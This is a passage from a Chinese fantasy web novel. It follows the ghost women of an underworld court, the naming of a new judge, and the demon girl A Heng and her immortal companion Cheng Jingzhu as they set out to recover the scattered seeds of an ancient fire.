所有鬼女们也都哭着喊她们。 一时间,这阎罗殿中尽是女子呜咽,罚恶判官不见峣雨其魂,他在罚恶录上找不到峣雨的名字,再看赏善判官的赏善录,也找不见,此时,三位判官不由看向阶上的阎王,那察查判官道:“阎王,只有见到峣雨生魂,赏善罚恶录上才会有其记录。” 阎王拧紧眉头。 “阎王,峣雨是为结七杀阵而神魂具散,而当时,我与这些法师道长正各自结阵,说不定我们的阵法之中还残留峣雨的魂火。” 程净竹看向阎王,道:“只要再结旧阵,说不定可以借残存的魂火,召回峣雨还没有散尽的魂魄。” “对啊,阎王大人,我等可以再结阵!” 那老道拍掌,反应过来。 “此时结阵,应该还来得及!” 其他僧道也点头应声。 “这恐怕需要峣雨一件旧物作为引子,才能招来那些残魄。”阎王点点头,说道。 阿姮闻言,她看着面前身影越来越淡的璇红,伸手将自己发间的三尾偏凤摘下来,扔向程净竹。 程净竹抬手稳稳接住,抬眸与她相视。 “诸位,结阵。” 程净竹结出一道金印落在那偏凤上,淡淡的白光微微闪烁,其他僧道重新结出那道诛妖伏鬼阵。 他们如今只有十来人,又受阴司限制,这金阵不复在万艳山时那样大的威力,却还是震得阿姮耳心有些不舒服。 阎王一挥袖,阵中还未被吞噬干净的白光从中一点点被剥离出来,阎王威厉的声音响彻殿宇:“峣雨!还不速速复归!” 淡淡的流光在众人眼前跳跃,僧道们汗如滴雨,一丝一缕的淡光被程净竹手中那支偏凤牵引着交织缠绕起来。 流光凝聚成一道淡薄的影子。 璇红一见到那影子,她眼眶中便落下两颗泪珠,她哑声喃喃:“峣雨。” 那淡薄的影子仿佛方才恢复了些意识,她茫然地抬起眼,却见璇红身影减淡,她脸色一变:“璇红……” 她猛然看向晴芸,与她身边那二十来个鬼女:“你们……这是做什么!” “国主,我们不要再做人了,也不要做鬼,”晴芸泪湿满脸,却笑,“我要做就做风,做雨,没有人可以伤害风雨,我也不伤害任何人。” “晴芸,何苦!” 峣雨少有地失态,她摇头:“你可以转世,忘记今生所有,你为什么……你们为什么要放弃呢?” “不是所有人都有重新来过的勇气。” 晴芸说:“国主,那太累了。” “不是所有人都像你。” 璇红忽然出声,峣雨不禁将目光投向她,峣雨嘴唇颤动,却听璇红又道:“峣雨,好像什么都压不倒你,哪怕你痛失所爱,哪怕你几经折辱,死在山野,你做鬼都做得比我们有骨气。” 璇红说话总有一种刻薄的感觉,但此刻,阿姮在旁静观,却觉得这仿佛又不是刻薄,而是别的什么,竟然令她胸口里有点沉甸甸的。 峣雨张口:“璇红,我……” “谢谢你。” 璇红打断她,望着她,泪意模糊:“我有一副臭脾气,但你一直容忍我,保护我,甚至为了我,为了我们,你宁愿魂消魄散……可是峣雨,你从来没有做错过任何事,你不应该永远地消失。” 峣雨眼睑颤动,泪如雨落。 “我很痛苦,这种痛苦,是轮回转世都无法消解的,峣雨,你明白吧?”璇红望着她说。 峣雨朝她伸出手,努力向她飘去:“我明白,我明白……” 璇红缓缓抬起手,她看到自己的手已经变得趋近透明,她向峣雨招了招手,泪意更涌,却笑:“峣雨,永别。” 峣雨飘去璇红面前的刹那,璇红的身形陡然破碎,晴芸与其他二十余鬼女们也都顷刻破碎。 春梁与剩下的鬼女们呆滞一瞬,望着幽幽浮浮渐渐散失光芒的魂火,不由放声大哭起来。 霖娘捂着嘴,落下泪来。 阿姮则怔怔望着峣雨,她停在身边,向璇红递出的那只手仍悬在半空,可璇红已经消失不见了。 程净竹目光扫视漫天流散的魂火,他伸手结出一道金印,落于白符,白符瞬间烧成碎光,流向四处,穿行魂火之间。 他的脸色忽然一变。 璇红的魂火因为她的无比决绝而消失的很快,但散碎的魂火中,竟然没有一丝火种的踪迹。 忽然间,程净竹目光越过一众恸哭的鬼女,看向立在峣雨身侧的阿姮。 她垂着眼帘,似乎在看峣雨悬在半空的那只手。 她静静地立在那里。 纤细苍白的腕骨上,那只晶莹剔透的玉镯中最后一丝黑色的气流悄无声息地没入阿姮的皮肤—— 作者有话说:牝豕:母猪 豚:小猪《 》 35-40 第36章 第36章 “还我就好了啊。”…… 一殿鬼女哀哀呜咽, 程净竹忽然拨开人群快步过去一把捉住阿姮手腕,力道之大,令阿姮立即回过神,她抬起脸, 魂火星星点点, 四散飞浮, 影踪殆尽,昏昧之中,她先看了一眼自己被程净竹紧紧攥住的手腕, 纤细的凝脂白玉镯亦被他手掌包裹, 他指节力道很重, 简直像要顷刻毁掉她这副壳子。 阿姮茫然望他, 只觉得他神情有些古怪,淡色的唇微张, 似乎要说些什么, 却又迫于殿中人鬼齐聚,异常纷杂而咽下。 但程净竹依旧攥握着她的手腕, 指尖金芒绕镯流转, 却并未发现任何异样, 他拧起眉头, 眼底疑云浓沉。 难道, 他看错了? 此时,殿中僧道们心中难忍,便不由各自念起佛经道经, 以期璇红与晴芸她们那些不愿再为人的二十来个鬼女们能够如她们所愿,化风,化雨, 从此一身轻。 三位判官乃至阎王都有些动容,阎王在宝座上长长叹了口气,道:“阳间世道朽烂,实为人心朽烂,朽烂的心使帝王昏聩,使小人横行,使璇红郡主这样的女子一生飘萍,受尽苦楚。” “神仙,不是救苦救难吗?” 很久很久,峣雨找回自己的声音,她转过脸,望向阶上:“这样的世道,神仙怎么忍心呢?” “峣雨姑娘。” 阎王说道:“神仙救苦救难,救一人,救百人,救千万人都改变不了世道,世道是人的世道,不是神仙的,能够改变它的,只有人自己,神仙并非因人而存在,而是世有妖魔,所以有神,此为相生相克的阴阳正理。” 峣雨沉默,怔怔望着璇红消失的方向。 此时,赏善判官将赏善录上呈给阎王,道:“阎王,峣雨在万艳山苦修几十载,无论活人还是鬼魂,千百女子受她护佑,巢州女子之间隐秘流传其名,不少苦命女子年年为其供奉香火,以期死后……不入阴司,魂归万艳山,她们奉峣雨为国主,成一女儿国,受峣雨庇护,虽死,却若重生。” 鬼女们全都跪了下来,那春梁泪眼盈盈,哽咽道:“阎王大人,小女春梁,生在小户人家,长到十四岁,受纨绔欺压,被迫与人为妾,小女抵死不从,上吊而死,小女之所以不愿来阴司,是怕……怕这里比阳间还冷,怕无人听我冤屈,为我做主,躲避阴司是小女自身之罪,请阎王大人千万不要怪罪国主!” “阎王,请阎王大人不要怪罪国主!” “请您不要怪罪国主!” 鬼女们无不俯首恳求。 因为峣雨在此,所以赏善录上将她生前死后所有行止说得很是清楚,阎王翻看了一阵,随后道:“也无怪你们这些女子对阴司生惧。” 阎王看向那始终跪在一旁的方狳,声音冷了下来:“方狳,吾当初是欣赏你在阳间作为一个将军,所作所为光明磊落,一生戎马为君为民,所以才招你为阴律判官,掌极幽府,可吾却不料你身为一府判官,竟然色欲熏心,璇红郡主生前所受种种都不能令她心灰,却是你在她死后强占她为鬼妾,这才让她阴阳两处绝望,不肯再为人,吾问你,你可知罪?” 方狳垂首,闭了闭眼,道:“下官……知罪。” “好。” 阎王闻言,冷哼一声,随后下令:“阴律判官方狳身为极幽府之首,掌我阴司律法,却不正己身,欲壑难止,致使法度不明,来啊,将他打下十八层地狱!” 罚恶判官立即招手,数个鬼差立即一拥而上,将方狳拖下殿去。 “峣雨。” 此时,阎王又唤。 峣雨闻言,立即垂首施礼。 “你做人,无论顺逆皆能自处,不自怜,而怜众生,做鬼,更是为这些鬼女们付出全部,包括那颗你得来不易的内丹。” 阎王看着她,继续说道:“精怪有了内丹才成妖,其中多少不易,取决于天时地利,而鬼修丹则比精怪要更加不易,你短短几十载便能修成一颗内丹,足见你修行至苦,慧根无垠,更重要的是,你有一颗海纳百川的心,装得下众生苦难,立得住良善之本,今日,吾便封你为阴律判官,掌极幽府,辨善恶,正法度!” 阎王一挥袖,烟雾扑向峣雨,她手中立即出现了一根玉笔,那正是方狳此前拿在手中的阴律判官的判官笔。 峣雨怔怔地看着手中的判官笔,她眼睑微微颤动,紧接着如梦初醒般,立即俯身叩拜:“峣雨……谨遵阎王谕令。” 那察查判官捋须笑道:“往后,峣雨判官与我等便是同僚了。” 赏善、罚恶二位判官都点点头。 峣雨起身,与三位判官见礼。 此时,阎王又对春梁等鬼女们道:“尔等生前死后所有恩怨都已分明,吾怜你们生前遭遇,而你们身上又无一恶债,吾许你们立即轮回,去吧,随孟婆去奈何桥,将来,你们会到好人家去的。” 春梁等鬼女立即叩谢阎王。 “何秀才。” 阎王又对那春凳上不成人形的水鬼道:“你是个好后生,若不是你生前贪杯,也不会落得如此水鬼下场,吾念你正直守信,想留你在阴司做个文书,不知你可愿意?” “谢,谢谢阎王爷爷!” 何秀才激动得颤声道:“如此一来,小生便有机会去照顾爹娘了!” 这远比他从前设想的脱离水鬼身份,转世投胎还要好。 察查判官走上前,朝僧道们招招手:“尔等皆是活人,不能在阴司久留,否则会伤及寿数,快快随我离开吧。” 僧道们都跟了上去,那老道见程净竹还拉着那女妖的手,他不由“嘶”了一声,喊道:“哎,小友!咱们快走吧!” 程净竹抬眸看向他,此时,阎王从案后出来,抬手道:“你们都先去吧,吾还要留下这小友说些话。” 说话间,阎王的目光透过冠冕珠帘,落在那白衣少年身上,意味不明。 那老道自是不能再多说些什么,只好先与其他人一块儿被那察查判官领了出去。 程净竹松开阿姮的手,那种有别于阴司的寒冷的温度很快淡去,阿姮抬眸与他相视,不过瞬息,霖娘走到阿姮身边,或许因为哭过,她声音还有点哑:“阿姮,程公子,我……想去送送春梁她们。” 此时,阎王却看着她身上的珍珠云肩:“这位姑娘,你身上可是元真夫人的宝衣?” 他依稀记得,当初瑶池盛会,他曾在宴上见过元真夫人身上的云肩。 霖娘连忙欠身,答:“小女承蒙元真夫人点化,这宝衣正是元真夫人所赠。” 阎王闻言,点了点头,道:“元真夫人既许你如此造化,想来你也该是个心诚纯善的孩子,你去吧,送她们去奈何桥上话别。” 霖娘低首应了一声,又小声问阿姮:“你去吗?” 阿姮却看向程净竹。 程净竹对上她的目光,道:“你们去吧。” 霖娘拉着阿姮,跟峣雨、春梁她们一块儿被孟婆领着往奈何桥的方向去,阿姮走到殿外,身影几乎隐没于幽暗中,她停步,回头,只见殿中阎王快步下阶,一手撩开冠冕前的珠帘,凑近那白衣少年面前,不敢置信地审视他。 霖娘拉了拉阿姮的衣袖,阿姮收回目光,与她一块儿走了。 阎罗殿中,鬼差尽退,赏善、罚恶二位判官也都出去了,一时间殿中死寂,阎王看着面前这少年的脸,他心中有些不确定:“是……您吗?” 地面白雾浮动,四周鬼火幽幽,少年眉目沉静,神观若雪:“阎王只是想问这个?” “是您吧。” 阎王终于确定,他手中仍抓着珠帘:“吾记得那时您年纪幼小,还是个十二三的孩童模样,想不到,吾今日竟然能见您长大成……” “上界知道她了?” 程净竹似乎没有什么心思听他那些追忆。 阎王的话音戛然而止,他望着面前这少年,沉默了好久,才道:“上界只知元真夫人在赤戎化为封印镇压天衣人的事。” “赤戎在三界之外漂浮日久,上界一直不曾找到它的准确方向,直到那日土地赵悬磬的消身咒突破结界冲入天庭,正好惊动元真夫人,她入了赤戎,再没有回音,只有她的法器回到上界,带回天衣人火种四散人间的消息。” 阎王说着,他大抵是觉得珠帘有些碍事,便将冠冕脱了下来:“赤戎被九仪娘娘变作天衣人的囚牢,天衣人却还有本事让赤戎漂浮不定,使上界难寻其踪,这么多年过去,土地赵悬磬的消身咒突然冲破结界,天帝当时便猜测,您……也许还活着。” “因为除您以外,没有人可以找到赤戎。” 阎王望着面前这少年,他明明正处于一个凡人最青春明亮的年纪,但那双眼却深邃而寂冷,一点也不鲜活。 提到天帝,阎王却从这少年脸上找不到丝毫情绪波澜,他双眸若幽深静水,只是盯着阎王,道:“我要带她走。” 阎王当然知道他口中的这个“她”是谁,阎王沉默了一瞬,说:“这是吾不能决断之事,吾身在神位,绝不能徇私,何况此妖邪还有九仪娘娘法器在身。” 程净竹却问:“难道阎王以为,九仪娘娘的法器是随便什么妖邪都能触碰的?” “这……” 阎王一顿,这也却是他所不解之处。 “万木春非但不伤她,还任她驱策,阎王不是看到了吗?” 阎王点点头,道:“吾亲眼所见,岂会不信呢?您说,这难道是九仪娘娘的意思么?可九仪娘娘为什么愿意让万木春为那妖邪所用?” 程净竹垂下眼帘,道:“我不管您是否上报上界,但您应该明白,万木春在她手里,您杀不了她,但若您执意将她困在阴司,她定然能将您这里搅个天翻地覆。” 九仪娘娘虽早已化身于三界之外,存于茫茫宇宙之中,但她的法器却拥有她的意志,万木春是九仪娘娘重劈混沌,再造三界的不世神器,它既然肯留在那妖邪身边,便一定会维护于她。 阎王早已领教过那阿姮的顽劣,强留她在阴司,她定然能将这儿搅成一团乱麻,但此时他又想不明白九仪娘娘其中的深意,他叹了一口气:“可她是妖邪,妖邪生来欲壑纵横,人类讲道德,讲善恶,妖邪却全凭本能而动,而他们的本能便是无穷尽的欲望,欲望会驱使他们为恶,为祸,何况吾观她并非普通妖邪,鸟兽花草化成的精怪成妖,至少还能有些情根,可她……什么也没有。” 她没有本相,只有锋利的戾气。 若放任下去,将来必成祸患。 “璇红身上本有天衣人的火种,若我猜得不错,火种阴差阳错,如今已经到了阿姮身上,她比我更能感知到其它火种的存在,我想孰轻孰重,阎王自能分辨,今日,我必须带她离开。” 程净竹说着,转身便朝殿外走去:“剩下的火种我会一个不少地找回来,我答应过元真夫人。” “白泽殿下!” 阎王眼见他颀秀地背影融入殿外的浓黑之中,他不由唤道:“殿下……吾为何看不到您的本相?是不是……” 阎王往前走了几步:“是不是当年赤戎大战,您的身躯……没有了?” 程净竹整个人都隐没在一团浓黑里,眼前嶙峋的石壁,潮湿的水露,深邃的黑暗,刺激着他的某段记忆。 程净竹垂下眼帘,手中那串霞珠亮晶晶的光点缀他的眼,丝绳在霞珠中间显露一截又一截鲜红的颜色,没有回应任何,朝奈何桥的方向去了。 阎王追出殿外,昏黑中,他看到那少年衣袂猎猎,背影模糊。 奈何桥上,春梁正与峣雨、霖娘话别,春梁与霖娘都在落泪,峣雨抬手替她们两个擦泪,又对春梁说:“去喝汤吧,忘记一切,成为一个崭新的人。” “国主……” 春梁哽咽地说:“我,我舍不得您……” 其他鬼女们也都呜咽着,连声唤国主,峣雨抬眼,目光从她们脸上一一扫过,峣雨对她们笑了笑,说:“我们并不是永别,我盼着你们忘记一切,忘记那些苦,那些疼,去重新拥有做人的勇气,而我会永远在这里,我永远看着你们,保护你们。” 霖娘拉着春梁的手,吸吸鼻子,说:“春梁,去吧,下辈子,你一定要快乐幸福,我会记得你的。” 春梁泪如雨下,连连点头。 阿姮站在边上,看着春梁她们还在桥上依依不舍,而那孟婆早已在桥心备好数碗汤,等着鬼女们一一过去,端碗饮下。 “你在想什么?” 忽然,一道声音落在阿姮耳畔,阿姮转过脸,只见孟婆正佝偻着身躯,站在她身边,对她微笑。 也许是她这笑容太慈蔼,让阿姮感觉不到任何攻击性,阿姮想了想,指了指自己胸口,说:“我这里,有璇红的感情,我不舒服。” 孟婆却看了一眼她胸口,唇边淡笑未敛:“不,姑娘,那不是璇红郡主的情感。” 在万艳山上,璇红操控黑气笼罩整个照雪坡之时,阿姮觉得胸口不舒服,小神仙说,那是璇红的情感在作祟,所有人都会被璇红影响,阿姮理所当然地以为此时自己的异样,还是璇红作祟,可这孟婆却笃定地说不是,阿姮疑惑地问:“那是谁的?” “你自己的。” 孟婆说着,转身顺着石径穿河而去,阿姮听得没头没尾的,不由追上去,问她:“我的?” 石径尽头,入一片花阴,孟婆提来一桶河水,用葫芦瓢舀水浇花,见阿姮还跟着她,便笑道:“问我做什么?你自己应该比旁人更清楚。” 万木春早已回到阿姮发髻间化为一根焦黑的木簪,绽开一簇鲜红的山茶,孟婆看了她发间一眼,又舀了一瓢水起来,说:“世间精怪多是什么鸟兽花木,又或者是虫鱼,他们都有本相,有真身,而你却什么也没有,你生来无形无相,这银汉之水所造出的本相,倒是与你十分相合。” “你也知道银汉之水吗?” 阿姮看着自己的壳子,对她说:“这是小神仙给我造的壳子,就是有点容易坏。” “人的皮囊比你这壳子更容易坏。” 孟婆看她这副天真的模样,笑眯眯地叹:“天上银汉迢迢,要取来那里的水来给你做壳子不是易事,那位小公子定然费了不少功夫吧?” 阿姮想到那个渔村,那片竹海,她问,“天上的水那么难得吗?” “是啊。”孟婆一边浇花,一边说道。 “我不知道,”阿姮想了想,又补了一句,“他什么都不告诉我。” 孟婆闻言,抬首看向她:“你除了胸口里不舒服,还有没有哪里不舒服?” “有点没力气。” 阿姮说道。 “你生来是妖邪,而万木春却是神物,还是朝露的东西,”孟婆慢慢地浇水,“朝露的东西随了她的性情,锋利得很,你年纪还太小,还没有长成那些人期望的样子,对于你来说,万木春的神力太过霸道,哪怕它肯供你驱策,它的力量却并非是你的东西,所以它会透支你的气力。” “当它彻底属于你,你也就不会这样了。” “那些人?” 阿姮却敏锐地抓住这一点。 孟婆浇花的动作一顿,她端详着阿姮,发现她眼中茫然,孟婆徐徐吐出一口气:“那些人是疯子,朝露也是疯子。” “你为什么总提起她?”阿姮听不懂她在说些什么,阿姮揉念着“朝露”这个名字,“那个九仪娘娘为什么会容许她的法器属于我?” “若她不许,你就不敢要了吗?” 孟婆却问她。 阿姮伸手摸了摸发间的木簪:“既然落到我手里,我凭什么要还给她?” 孟婆闻言,不由笑:“阿姮姑娘,你有点像她。” “你和她相熟吗?” 阿姮蹲在她身边,问。 孟婆却不答,正好花浇完了,她抬头扫一眼花木外,对岸奈何桥上鬼女们停住不动,孟婆拍了拍阿姮:“来,拉我这老骨头一把。” 阿姮被她拍了拍脑袋,眉头一拧,但见孟婆朝她笑,阿姮撇嘴,还是一把将她拉着站起来。 “小姑娘毛毛躁躁的。” 孟婆被她一把拽得老骨头摇摇晃晃:“应该是汤不够了,我得添些去,你帮我打水浇花。” 孟婆往花阴外去,顺着石径过河,阿姮不知道这个老婆婆为什么这么冒昧,但她看着面前这片花木,此时人间应该是入夜了吧,她这双眼竟然看到了花枝颜色,她被眼前一幕取悦到,却见枝下有花萎顿,要枯不枯,她想了想,还是勾了勾手指,红雾如缕,浮动去河边,引来河水遍洒花阴,好似落雨。 阿姮实在累极了,她转头,只见花木深处有一处石案,案边燃着几盏灯,照得案上满满当当摆放了无数琉璃瓶盏。 幽微灯火之下,琉璃晶莹。 阿姮走近那案边,方才发觉琉璃瓶中似乎有火光莹莹,颜色缤纷,阿姮觉得有趣,不由伸出手去。 “不要碰!” 孟婆的声音忽然传来。 阿姮抬起头的刹那,手指碰到边上的琉璃瓶,由于案上摆放太满,那琉璃瓶只被阿姮轻轻一触便倒向旁边,连着另一只琉璃瓶一块儿摔落在地。 琉璃应声而碎,阿姮看到两团紫焰纠缠着飞浮而起,迅速消散。 孟婆快步过来,只见地上两只碎瓶,叹了口气:“老身不该留你在这儿,你将极幽府给搅成那样,峣雨要上任,还得先重修洞府才行,你啊,顽劣。” “不就是两只瓶子。” 阿姮满不在乎。 “这瓶子是没什么大不了,可瓶中的东西却是人的执念,”孟婆将她一把拉过来,生怕她再动手,“不是所有生魂喝了我的汤就能忘记一切,有些生魂生前执念太深太重,我只能挖出来他们的执根,封在这琉璃瓶中,再埋入阴土里,七七四十九日,方能使执根消融。” “你方才打碎的瓶中乃是两个女子的执根,”孟婆捡起琉璃碎片,“如今那执根已经追随她们的生魂转世去了,这样一来,她们必定会想起前世的一切。” 孟婆看着她道:“阿姮姑娘,老身在奈何桥一日不得闲,今日你惹下来这祸事,你必须要去收拾这个烂摊子。” 阿姮微微一笑,却道:“我不要。” “小孩子就是不听话,”孟婆摇摇头,却也分毫不动怒,而是幽幽道,“你不想知道如何让万木春真正属于你吗?” 她盯着阿姮:“朝露是众神之首,天地之母,天上地下,找不到一件比她的法器更厉害的东西,你……不想要它全部的力量吗?想知道,就去将这事解决,人自己闯了祸,必须要自己收拾干净。” 阿姮不得不承认,这老婆婆说的话真令人心动,她“哦”了一声,说:“那个烂摊子在哪里?” 孟婆一笑,道:“南边邕宁国,彭州。” 阿姮满脸不高兴地往外走,花影重重,她走到花阴将近处,抬头却见那白衣少年,她望着他:“小神仙?” 她一路行来,发间落了不少碎花,此时四周昏昧,程净竹垂眸看着她,笃定道:“阿姮姑娘,火种在你身上。” 阿姮愣了一下:“什么?” “璇红身上的火种已经到了你身上。”程净竹说道。 阿姮闻言,几乎是立即敏锐地反应过来,她看了一眼自己腕上的玉镯,她想到,璇红将那玉镯推到她手腕上之后,她有一瞬觉得壳子有点烫,也许火种便是那时候跑到她身上来的,而璇红那时乃是弥留之际,未必是她故意为之,而是火种狡诈,不肯放过任何可以悄无声息重新附着的机会。 但阿姮抬起眼帘,却笑盈盈道:“是吗?我感觉不到啊。” “那不是好东西。” 程净竹说。 “哦,”阿姮点点头,“可是在你们眼里我也不是什么好东西啊。” 程净竹顿了一下,他凝视着阿姮含笑的眼睛,片刻,他道:“天衣火种在你身上,但你暂时没有那么强烈的欲望,所以它才会隐忍蛰伏。” “谁说我没有?” 阿姮凑近他,目光流连在他眉眼:“你明明知道,我有血欲。” 程净竹微扬下颌,避开她的过分亲近,嗓音清若玉磬:“火种在你身上,所以你比我更能感知到其它火种的所在,阿姮姑娘,我需要你跟我去找到下一枚火种。” 他垂着眼帘,与她相视,语气十分认真。 “我不去。” 阿姮嘴上故意这么说,肯定是要跟着他的,毕竟他有一颗好心,但帮他找火种?那东西似乎很有些神秘,她更想据为己有。 程净竹拧了拧眉,正要再说些什么,却见阿姮又凑了过来,她那双暗红的眼睛弯弯的,问他:“你说,我是因为身上有火种,所以比你更能感知其它的火种,那么你呢?你又是因为什么而能感知火种的存在?” 程净竹却沉默地盯着她。 他的神情很冷,让阿姮有一种被冰雪包裹的感觉,花瓣从发上落到她手背,她想起孟婆说的烂摊子,她一下回过头,远远望去,石案上不再有琉璃莹光,孟婆的身影也已经消失,她又看向程净竹,说:“你知道邕宁国在哪儿吗?” “知道。” 程净竹不知她为什么忽然提起邕宁国。 “那彭州呢?邕宁国的彭州?”阿姮又问。 程净竹微微颔首。 阿姮勾着衣角,有点不太自然地说:“我打碎了琉璃瓶子,放跑了两个女子的执根,那老婆婆非要我去收拾烂摊子。” 程净竹沉静的眸子微敛,淡声道:“她许你什么好处了?” 阿姮愣了一下,随后笑起来:“小神仙,你好像很了解我。” “你先陪我去找那两个女子好不好?我又不知道她们长什么样……你肯定有办法的吧?” 她凑近他。 程净竹神情冷淡,凝视她。 “……我跟你去找火种还不行吗?”阿姮抓住他的手臂,“你先帮我,你肯定会帮我吧?” 她靠得太近了。 满头的花瓣因为她的亲近举动而落到他身上,程净竹浓长的眼睫微动,他挣开阿姮的手,道:“一言为定。” 阿姮忽然嗅到一分隐秘的,芳香的血气,抬起脸,目光却倏尔凝在程净竹眉心,那红痣中间似乎隐隐又有血线,她伸出手指探向他眉心,却被他捉住手腕,阿姮也不恼,好奇地望着他:“小神仙,你这里为什么又流血了?” 程净竹丢开她的手,眉眼漠然:“这是上清紫霄宫的惩戒。” “惩戒?为什么要惩戒?” “因为犯了戒。” “那你犯了什么戒?” 程净竹目光落在她的脸上,对于她无处不在的好奇心,他似乎有些忍无可忍,一副无情的眉眼,嗓音冷得出奇:“色欲。” 阿姮听见这两个字,几乎立时她的目光便落在他淡色的唇,她想起璇红的楼阁中那扇彩绘屏风,想起璇红那时的耳语。 她更想起那漫天浓黑的烟气中,没骨花的香味那样浓郁,无限充盈着她的口鼻,她想起他的沾血的手指,冰冷的吻。 “哦,你说那个。” 阿姮说道。 “是,”他与她相视,“抱歉。” “为什么又道歉?” 阴寒的风吹落繁花如雨,阿姮试图理解,但还是满脸不解:“你欠了我什么……” 她的目光缓缓从他的唇往上,到他高挺的鼻骨,再到那双剔透清冷的眼睛,她忽然一把抓住他的手臂,另一只手一下环住他的后颈,她手指很快按住他颈后坚硬的肌肉,压着那块突起的颈骨使他不受控低头的刹那,她抬起下巴,亲了一下他的唇角,随后她含笑的话音模糊在彼此的唇齿: “还我就好了啊。” 第37章 第37章 他的背影融入雨雾,颀长而冷…… 阴司常年晦暗, 从没有白天黑夜之分,峣雨送走奈何桥上所有鬼女,又奉命送程净竹三人返还阳间,此时阳间天光隐露, 正是破晓时分。 晚秋露重, 晶莹沾衣, 峣雨望了一眼蒙蒙雾气中的远路,她回过脸来,对三人说道:“听说你们要去邕宁国, 此地便是邕宁国边界了。” 明明前两日还在岐泽国巢州的万艳山上, 此时从阴司中出来, 却已在邕宁国边界, 阿姮望向雾中那条宽阔大道,晨光更亮, 她眼中所见的色彩一一褪尽。 “多谢。” 程净竹颔首。 峣雨手持玉笔, 她残缺的魂魄正在被这法器温养补全,她身影不算淡, 此时她注视着面前这少年, 还以一礼:“程公子, 是峣雨该谢你们, 当日万艳山上, 多谢你们襄助。” 说着,峣雨的目光凝在程净竹脸上一瞬,又看向站在他身边的阿姮, 阿姮仍穿着那件宽大的黑色衣袍,衣摆在晨风中擦着她的脚踝,乌黑的髻边只有那根开着红山茶的焦黑木簪, 微卷的浅发随风而擦着她的脸颊。 峣雨正要说些什么,却见阿姮递来一物,随后,她听阿姮道:“还你。” “我不是已经送你了吗?” 峣雨看着她,说道。 阿姮捏着那支三尾偏凤,流苏晃动着,轻扫她的手背:“璇红说,这是你的陪嫁之物。” 峣雨闻言一怔,双目柔和地凝视着她,笑了一下:“你明白什么是陪嫁吗?” “不太懂。” 阿姮眉眼之间一片坦荡天真:“但好像对你很重要,不是吗?” “其实也不那么重要。” 峣雨抬手,却并未触碰那支偏凤,而是轻轻拍了拍阿姮的手背:“重要的是记忆,是人,而不是这件东西,天下没有不散的宴席,我的宴席早就散了,我不用它作为任何寄托了。” 阿姮听不明白什么宴席不宴席的,峣雨却也没有再多解释什么,她看着阿姮手腕间的玉镯,说:“阿姮姑娘,我相信总有一日你会明白的,还有,希望你会喜欢这个世界。” 峣雨情真意切地祝愿,而阿姮闻言,却愣了一下。 此时,峣雨明显感觉到一道视线落在她身上,她转过脸,对上程净竹的目光,他淡色的唇上有一道细微的伤口,结了鲜红的血痂,他一言不发,而峣雨却开口道:“程公子,阎王有令,命我转告公子,哪怕阴司不问,亦不敢不传于天听,他说,您应该最明白重劈混沌,再造三界的意义。” 峣雨这番话实在隐晦,霖娘一头雾水,而阿姮则看向身边的程净竹,清晨的冷雾中,他垂着眼帘,神色不清,阿姮不自禁将视线定在他的嘴唇,回想起那片连天的花阴,纷纷的花雨远不如没骨花的香气浓郁,以至于她更轻易嗅到他身上那股隐约的药香。 他似乎并不想还给她。 所以他那一刻浑身僵硬过后,他很快像攫住一条蛇的七寸那样,一把扼住她的脖颈,目光犹如寒刺钉入她的壳子,极致的危险意味不断在阿姮耳边叫嚣,可她胸中却因此而迸发出一种破坏欲,彼此唇齿分离的刹那,她又追上去咬他的嘴唇。 任由他制服她脆弱的颈项。 她咬破他的下唇,鲜红的血珠顷刻涌出,她在这种快要将她整个躯壳都毁坏的危险边缘沉溺于他芳香的血气。 哪怕咽喉被他手掌制约,阿姮扬起脸,唇上沾着他的血,眉眼盈盈:“我听孟婆说,要做我的这个壳子是很难的,小神仙,你小心一点。” “告辞。” 程净竹的声音响起,阿姮回过神来,见他对峣雨颔首,算是作别,随后便往前去了。 清晨的风正料峭,吹动少年洁白单薄的衣袍,他颈后的背云顺着脊柱沟垂下晶莹的一串,在阿姮的眼中闪动亮晶晶的光芒,阿姮几步追上去:“小神仙,等等我啊。” 霖娘对峣雨道:“国……不,峣雨判官,有朝一日,我也会像你一样得道的!” 峣雨闻言,她望着面前这个年轻的姑娘,眼底笑意温和:“赵姑娘,你一定会的,我期盼着那日。” 霖娘笑了一下,转头见阿姮与程净竹身影渐渺,她连忙对峣雨道:“峣雨判官,我走了!” 霖娘急匆匆地追着阿姮去了。 晚秋的朝阳一时烤不干这山间的雾气,峣雨立在原地,看着那个身披珍珠云肩的年轻姑娘快步朝那个黑衣少女奔去,拉住她,抱怨似的:“阿姮,你也等等我啊。” 山雾浓浓,衰草丛丛,阿姮看了一眼抱住她手臂的霖娘,转过头去,只见朦胧的烟气里,山野茫茫,峣雨早已消失不见。 再回过头来,那白衣少年明明步履轻缓,身影却很快在山雾中朦胧,阿姮步履飞快,拉着霖娘跟上去,路过一道石碑,碑旁野草蔓蔓,阿姮忽然停下。 “阿姮?” 霖娘疑惑地唤她。 阿姮却根本没有心思回应她,此刻,她分明感觉到什么东西在她胸腔里跳跃,像一团烈火,兴奋地灼烧。 阿姮的眼瞳变得暗红。 她缓缓转过脸,看向那道矗立在道旁的石碑。 石碑有巍峨之势,碑上刀凿斧刻,书有几个大字,阿姮问身边的霖娘:“上面写了什么?” “邕宁国。” 霖娘念出来,说:“这应该就是邕宁国的界碑了。” 邕宁国。 阿姮转过脸,遥见远处山雾与朝阳的金芒相互交织,那少年似乎停在那里了,日光太刺眼,阿姮看不清他,却分明感觉到他的目光。 孟婆说的烂摊子在邕宁国。 第二枚火种,竟然也在邕宁国。 阿姮不再看那界碑一眼,拉着霖娘跟了上去,到了那少年面前,她眼眉弯弯,眼波盈盈,他瞥了一眼远处的界碑:“怎么了?” “没怎么啊。” 阿姮眨眨眼睛。 程净竹闻言,目光落回她那张看似无辜的脸。 那不过是清淡的一瞥。 但阿姮却觉得胸腔里那团烈焰无端跳跃数下,她不动声色地忍了下来,她并不觉得自己要乖乖告诉他火种的下落。 那是她看上的东西。 “走吧。” 程净竹丢下一句,转身就走。 彭州处在邕宁国的腹地,若靠人力,哪怕有上好的马匹,从边界到彭州也要十来天,而阿姮他们三人只用了两三日便抵达彭州。 邕宁国偏安南边与岐泽国十分不同,彭州的房舍皆为白墙黛瓦,城中巷陌纵横,水路交错,今日天上小雨,一派烟雨朦胧。 阿姮发觉霖娘自进城后便低着头沉默不语,伞沿被她一再压低,以至于阿姮几乎看不到前面的路,霖娘浑然未觉,险些撞到人,阿姮一把将她拉过来,却见她的第一反应是用外衫领子挡脸。 